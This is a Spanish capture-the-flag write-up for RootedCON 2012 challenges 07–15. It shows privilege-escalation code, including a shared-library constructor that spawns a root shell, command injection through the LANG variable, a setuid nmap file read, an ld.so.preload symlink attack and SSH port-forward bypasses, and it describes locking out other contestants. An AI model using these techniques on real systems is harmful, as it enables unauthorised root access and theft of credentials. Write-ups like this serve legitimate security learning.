En este caso, hasta que no aparecen las pistas no sabemos muy bien por dónde tirar. Aunque se realizaron pruebas con métodos HTTP inválidos (ver http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf como referencia a estos métodos para saltarse la autenticación HTTP) en ningún caso se prueba con GETT puesto que los ataques conocidos funcionan con cualquier método.

Tras conocer la pista de que GETT es el método a utilizar, aparentemente arbitrario, intentamos obtener listados de directorios de diversas formas. Al final probamos con GETT /key obteniendo la clave correcta:

$ echo -en "GETT /key\n\n" | nc 10.1.0.23 81 
UTCDate: Sat Feb 25 14:01:49 UTC 2012

Key=UNDESAFIOTRIVIAL

Clave

La clave para obtener la puntuación de esta prueba es: UNDESAFIOTRIVIAL


Prueba 08

Resolución

La prueba 08 está otra vez albergada en la máquina maldita, con lo cual no podemos acceder a ella durante bastante parte del reto. Tras conocer mediante las pistas que existen datos necesarios para la prueba 08 en la prueba 07, empezamos a probar más métodos de obtener listados de directorios: 
.DS_Store, .listing, .listingX, etc. Finalmente damos con un listado en files que contiene lo siguiente:

$ echo -en "GETT /files\n\n" | nc 10.1.0.23 81
FILES                   <this>
LEEME                   3b33cdb923442b126b516e61d770179f
prueba08.ctf2012        http://prueba08.ctf2012:81/tok/<tokenvalue>
seed.eid                4df041ef22f0aa49d41e85dae32b3aad
RTDToken.7z             4bd1472270ba572d3d81c2cd244717e7
k?????????????????????????????????????????????????????b8

Aunque no podemos bajar el archivo 7z, al conectar al IRC vemos que el mismo está en el topic para poder descargarlo desde https://arena2012.rootedcon.es/pruebas/RTDToken.7z. Tras descargarlo y ejecutarlo, metemos el PIN que ya hemos obtenido del ZIP de la prueba 12 (mediante fuerza bruta).

Con dicho PIN, obtenemos un token que utilizamos para hacer una petición al mismo servicio de la prueba 07. El resultado es el siguiente:

$ echo -en "GETT /tok/9F652850\n\n" | nc 10.1.0.23 81 
TOKEN_OK: 9F652850
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Luego nos damos cuenta que con cualquier token nos está dando la clave correcta. Para comprobar esto y que no se trata de un error por nuestra parte, entramos en la máquina bastilla1 en la cual ya disponemos de acceso root y un binario con netcat.

Desde allí lanzamos la petición con un token puesto a ZZZZZZZZ varias veces. Aunque no siempre nos da la clave, sí que lo hace en varias ocasiones:

root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~#
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS

Esto nos indica que el token aparentemente no es necesario, o que lo devuelve correctamente durante buena parte del tiempo siempre que la longitud sea la correcta.

Clave

La clave para obtener la puntuación de esta prueba es: IWASMADEWITHSTOLENSEEDS


Prueba 09

Resolución

Analizando el texto cifrado vemos cadenas que se repiten como "pobrovWmviB". Haciendo búsquedas en Google por algunas de ellas (de diferentes tamaños) llegamos a la página: http://easyciphers.com/

Allí nos llama la atención el cifrado "Affine". Tras documentarnos, buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros "a" y "b". Hay 312 claves (combinaciones) posibles, no es mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis Tools". Funciona introduciendo una cadena que creamos debe existir en el texto en claro (ej: "the" en textos en inglés) y te devuelve las combinaciones de "a" y "b" que producen la cadena anterior en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado: czifrv).

Una vez obtenidos los valores de "a" y "b" apropiados (a=3, b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con esta otra que tenemos online:
http://rumkin.com/tools/cipher/affine.php

Clave

La clave para obtener la puntuación de esta prueba es: Alonso Quijano


Prueba 10

Resolución

Basándonos en la última pista publicada, obtenemos el texto descifrado ejecutando:

$ openssl enc -d -des -in prueba10.bin -k 2102NOCdetooR
  -out descifrado.txt

Clave

La clave para obtener la puntuación de esta prueba es: 2102NOCdetooR


Prueba 11

Resolución

Esta prueba no se llegó a resolver durante el concurso. Desde que supimos que se trataba de una máquina enigma tras recibir la primera pista, empezamos a realizar fuerza bruta con una herramienta de Didier Stevens ligeramente modificada.

Por alguna razón, no pudimos identificar nada coherente en la salida de la herramienta. Tras ver las últimas pistas, ahora mismo se podría resolver utilizando un simple script de perl y el módulo Crypt::Enigma obtenido desde CPAN, haciendo una pequeña fuerza bruta de un número reducido de opciones.

Clave

Esta prueba no se llegó a resolver durante el concurso.


Prueba 12

Resolución

El primer día obtuvimos por fuerza bruta la contraseña del fichero ZIP (03133700) y probamos sin éxito con varias herramientas de esteganografía, pero no logramos dar con la solución hasta la publicación de la última pista. Vimos un bloque sospechoso a partir del offset 496 del fichero descomprimido (1.avi), que resultó ser el texto “SUIT UP?” codificado con EBCDIC. Sin embargo, el último carácter (0xBB) no decodificaba correctamente y en principio no tiene equivalente en dicha codificación, por lo que probamos algunas variantes hasta dar con la solución final.

Clave

La clave para obtener la puntuación de esta prueba es: SUIT UP!


Prueba 13

Resolución

Tras probar varias de las claves obtenidas en otros niveles, logramos acceder al usuario bastilla1 con la clave del nivel 0, quite_clever_dns_is_useful. Analizando la máquina observamos que existe un directorio /CTF con el siguiente contenido:

bastilla1@bastilla1:/CTF$ ls -la
total 20
drwxr-xr-x  3 root      root      4096 Feb 24 01:33 .
drwxr-xr-x 21 root      root      4096 Feb 19 13:20 ..
drwx------  2 bastilla2 bastilla2 4096 Feb 20 01:44 plugins
--ws--s--x  1 root      root      5832 Jan 28 01:27 restme

Se puede observar un binario con setuid root, que es claramente el objetivo de la prueba. Al ejecutar el binario se obtiene la siguiente salida:

[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: .......
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.0]
[RES]                   Valx=1
[RES second stage]      Valx=2

Podemos ver que el binario carga una librería compartida del directorio plugins, que pertenece al usuario bastilla2. Este usuario no es accesible vía SSH como podemos observar en el fichero /etc/passwd:
bastilla2:x:1001:1001:Bastilla 2,,,:/CTF/plugins:/bin/false

Puesto que mediante un escaneo de puertos habíamos determinado que existía un servidor FTP en el puerto 21, intentamos acceder con el usuario bastilla2 y diversos passwords. Al intentar con bastilla2 conseguimos acceso al FTP.

Intentando pasar distintos parámetros al binario nos damos cuenta que el número utilizado en el nombre de la librería cambia con el primer carácter del primer parámetro. Con esto, y mediante el acceso FTP al directorio de plugins, subimos un fichero compartido con un constructor que ejecuta una shell:

#include <stdio.h>

static void __attribute__((constructor))  my_init(void)
{
      setreuid(0,0);
      unlink("/home/eleva4/PWNED]");
      execl("/bin/bash","bash",(char *)0);
}

Tras compilar y subir este archivo como libctf.so.1 y ejecutar el binario con el parámetro 1 conseguimos la shell de root:

bastilla1@bastilla1:/CTF$ ./restme 1
[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: ............
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.1]
bash-4.1# cat KEY
L33TDYNLOADING

Tras obtener este acceso, cambiamos el password de root y de los demás usuarios de la máquina, cerramos cualquier conexión SSH abierta por otros usuarios y borramos la librería utilizada para elevar privilegios.

Clave

La clave para obtener la puntuación de esta prueba es: L33TDYNLOADING


Prueba 14

Resolución

De nuevo conectamos a la máquina objetivo mediante el uso del usuario bastilla2 y el password obtenido como solución a la prueba 00. A partir de ahí, buscamos binarios con los flags setuid activos que podamos ejecutar con este usuario. El primero que llama la atención es el siguiente archivo:

-rwsr-sr-x 1 eleva1 eleva1 3104 Feb  3 23:10 /usr/include/lct/.. /eleva

Al ejecutarlo obtenemos automáticamente acceso shell con el usuario eleva1. Esto nos indica que ahora toca buscar elevar privilegios a eleva2. Si nos movemos al home del usuario nos encontramos con un fichero eleva2 que de nuevo nos permitirá elevar privilegios:

---s--s--x 1 eleva2 eleva2 3880 Feb  3 23:48 eleva2

Buscando por la máquina también encontramos unos templates en /usr/share/eleva que parecen variar con el lenguaje utilizado y contienen los datos mostrados por eleva2 por pantalla. Intentamos inyectar comandos en la variable de entorno LANG para ver si el programa no la sanitiza correctamente al utilizarla:

eleva1@bastilla2:~$ LANG=";id;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
uid=1001(eleva1) gid=1001(eleva1) euid=1002(eleva2) egid=1002(eleva2) groups=1002(eleva2),1001(eleva1)
sh: /template: No such file or directory

Por tanto, podemos ejecutar comandos como el usuario eleva2. Esto nos permite obtener el password del usuario:

eleva1@bastilla2:~$ LANG=";cat /home/eleva2/PASSWD;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
avanzandofuerte
sh: /template: No such file or directory
eleva1@bastilla2:~$

En este punto, nos damos cuenta que el binario nmap con suid del usuario eleva4 es ejecutable por cualquier usuario de la máquina. Por tanto, decidimos centrarnos en dicho binario en lugar de explotar eleva3. Tras buscar por vulnerabilidades de la versión de nmap en cuestión, encontramos que ejecutando el siguiente comando podemos obtener el password del usuario eleva4:

eleva1@bastilla2:~$ nmap -iL /home/eleva4/PASSWD localhost 
Starting Nmap 5.00 ( http://nmap.org ) at 2012-02-19 21:17 MSK
Failed to resolve given hostname/IP: muyhabilinteractivo.  Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds

Tras acceder como eleva4, decidimos sobrescribir el binario nmap para que cualquier usuario que no haya accedido a dicho nivel todavía no sea capaz de hacerlo. Seguidamente encontramos el siguiente archivo:

$ ls /usr/ARENA/eleva44.pl -l
-r-s--x--x 1 root root 1703 Feb 18 00:13 /usr/ARENA/eleva4.pl

Este binario es lanzado vía cron cada 5 minutos, como se puede observar en el cron.log:
Feb 20 03:35:01 bastilla2 /USR/SBIN/CRON[29700]: (root) CMD (/usr/ARENA/eleva4.pl)

Analizando el home del usuario eleva4 observamos que el fichero status.log contiene la salida del script perl anterior. Aunque no conocemos el código, podemos observar que dichos datos vienen del servicio 10.1.0.23:47, puesto que contiene líneas como las siguientes:

OK in exec: [logger 1329693938 Remote service 47 checked OK]

Puesto que podemos controlar el fichero status.log eliminándolo o creando uno nuevo, y el programa lo abre como root y añade líneas a éste, en un primer momento decidimos reemplazarlo por un enlace simbólico a /etc/ld.so.preload. De esta forma esperamos poder cargar una librería con nombre OK en cualquier fichero que se ejecute en el sistema, y de ahí escalar privilegios mediante cualquier binario setuid.

Sin embargo, esto no funciona puesto que aún no controlamos los datos escritos, y el mecanismo de preloading mediante este archivo requiere que se proporcionen rutas absolutas. Seguidamente, observamos unos ficheros aux.XXX en /tmp con el siguiente contenido:


Con esto, decidimos eliminar todos los ficheros aux.XXX y crear enlaces simbólicos a un fichero controlado por nosotros en el directorio /home/eleva4. En este fichero escribimos la IP de la máquina bastilla1 que ya controlamos, y ponemos un netcat a enviar respuestas a cualquier petición con este contenido:

HTTP/1.1 200 OK
Date: Sun, 19 Feb 2012 22:02:32 GMT
Server: Apache
Last-Modified: Wed, 08 Feb 2012 13:30:48 GMT
ETag: "3820abc-c-4b873e74a5200"
Accept-Ranges: bytes
Content-Length: 28
Vary: Accept-Encoding
Content-Type: text/html

STATUS = /home/eleva4/PWNED

Una vez hecho esto, esperamos a que se lance el proceso mediante cron y observamos que ahora todos los procesos intentan cargar dicha librería. Entonces creamos la librería con el mismo código usado en la prueba de bastilla1 y ejecutamos un binario suid root (ping) para obtener root.

sh-4.1# cat KEY
HEAVYLOCALLOLCAT

De nuevo, una vez obtenido acceso root, cambiamos todos los passwords y modificamos los ficheros con claves en la máquina. Echamos a cualquier usuario conectado en este punto y nos aseguramos acceso continuado a la máquina durante el resto del concurso por si fuese necesario.

Clave

La clave para obtener la puntuación de esta prueba es: HEAVYLOCALLOLCAT


Prueba 15

Resolución

Con las pistas obtenidas y la información encontrada en el archivo LEEME~ en la prueba 07, intentamos probar el par arenahip:arenahop como usuario y contraseña para la máquina 10.1.0.23 vía SSH. Enseguida nos damos cuenta que el acceso está cerrado, probablemente mediante el uso de /bin/false como shell.

Sin embargo, tras una rápida búsqueda en google, se puede comprobar que dicha protección sigue permitiendo realizar port forwarding. Por tanto, en un terminal ejecutamos la siguiente línea de comandos para redirigir el puerto 4000 local al puerto ssh de la máquina 10.1.0.27:

$ ssh -L 4000:10.1.0.27:22 arenahip@10.1.0.23 -vN

Seguidamente, conectamos a dicha máquina con otra terminal y los mismos datos de acceso:

$ ssh arenahip@localhost -p 4000
arenahip@localhost's password:
Last login: Fri Feb 24 00:33:08 2012 from 10.1.0.23
arenahip@prueba15:~$ ls
KEY
arenahip@prueba15:~$ cat KEY
KEY=BOUNCIN'JACKFLASH
arenahip@prueba15:~$


Clave

La clave para obtener la puntuación de esta prueba es: BOUNCIN'JACKFLASH


Conclusiones


El concurso ha estado divertido pero consideramos que se ha abusado del concepto de "idea feliz". Había pruebas que simplemente no se podían resolver sin pistas; otras con grandes incoherencias (como la 06 del falso "SQL").

Tampoco ha ayudado que haya pruebas que dependan de otras, en especial aquellas como la 07, que estuvieron caídas la mayor parte del concurso y provocando un enorme "atasco" entre los participantes. Y por último, el tener que "adivinar" passwords (tomarlos de otras pruebas, fuerza bruta, etc) tampoco es buena idea. Pensamos que se ha hecho así para dilatar artificialmente el tiempo de concurso, cosa que tampoco consideramos apropiada: el concurso no debería durar más de un fin de semana e idealmente todas las pruebas se deberían de poder resolver técnicamente sin necesidad de pistas ni "pensamiento lateral". Esto último no es real en absoluto puesto que en la vida real un atacante dispone de un "contexto" (y por tanto, de información adicional con la que jugar y enlazar con ideas), algo de lo que se carecía en este caso.

También se han descubierto diferentes fallos de implementación (como la 08, que te daba la key sin disponer del token; o los permisos de "nmap" que te permitían saltarte niveles y además neutralizar el avance al resto de concursantes) y de inestabilidad (en especial, en las pruebas shells: la máquina se quedaba sin recursos). En un concurso de estas características estos detalles se deberían de cuidar.